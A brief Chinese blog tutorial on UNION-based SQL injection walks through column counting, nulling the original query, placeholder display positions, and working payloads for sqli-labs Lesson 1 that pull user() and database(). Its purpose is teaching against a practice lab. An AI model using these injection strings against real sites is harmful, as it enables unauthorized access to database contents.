首页 » NetworkSec » Penetration » 正文

浅谈union注入

0x00 概述

union注入是一种简单有效的注入方式,以前只是套公式或者sqlmap刷,此文简述其原理(侧重点在union select)。

 

0x01 union注入

环境:sqli-labs

1. 判断列数

order by / group by

union select 要求两个表查询的字段数必须相同,否则报错(列名以第一个select为准)

2. 使原数据查询为空

如id=2改为id=-2或id=2000000查询不存在的数据则为空,就可以显示要查询的敏感数据(防止正常数据干扰)

3. 使用1,2,3,4,5占位

如union select 1,2,3,4,5判断出可以显示的位置(显示位),如果要求字段类型也要相同,则使用null代替数字。

4. 将数字替换成敏感数据

如union select 1,2,user(),database(),5

 

0x02 sqli-labs lesson 1

字符型注入

1. 判断列数

3对4错,列数3

Id=1‘ group by 3– –

2. 使原数据查询为空&&数字占位

Id=-1’ union select 1,2,3– –

显示位2 3

3. 替换显示位为敏感数据

id=-1′ union select 1,user(),database()– –

 

0x03 结语

union注入方便高效。

本文共 2 个回复

  • LSA Blogger 2018/09/07 10:38

    更多关于SQL注入的文章,请搜索sql注入 :razz:

  • Tom 2018/09/07 10:51

    Easy to understand.

Comment